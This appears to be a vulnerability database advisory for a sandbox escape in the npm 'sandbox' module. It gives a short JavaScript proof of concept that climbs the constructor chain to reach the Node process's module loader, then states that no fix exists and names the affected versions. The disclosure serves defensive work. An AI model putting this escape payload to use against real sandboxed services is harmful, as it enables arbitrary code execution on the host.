Vulnerability Database
296,468
Total vulnerabilities in the database
Sandbox Breakout / Arbitrary Code Execution in sandbox
All versions of sandbox are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.
Proof of concept
var Sandbox = require("sandbox")
s = new Sandbox()
code = `new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()("util").inspect("hi")`
s.run(code)
Recommendation
No fix is currently available. Consider using an alternative module until a fix is made available.
| Software | From | Fixed in |
|---|---|---|
sandbox
|
0.0.0 | - |
Deep Security Visibility Without the Complexity
SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.
- No setup fees
- 5-min deployment
- Cancel anytime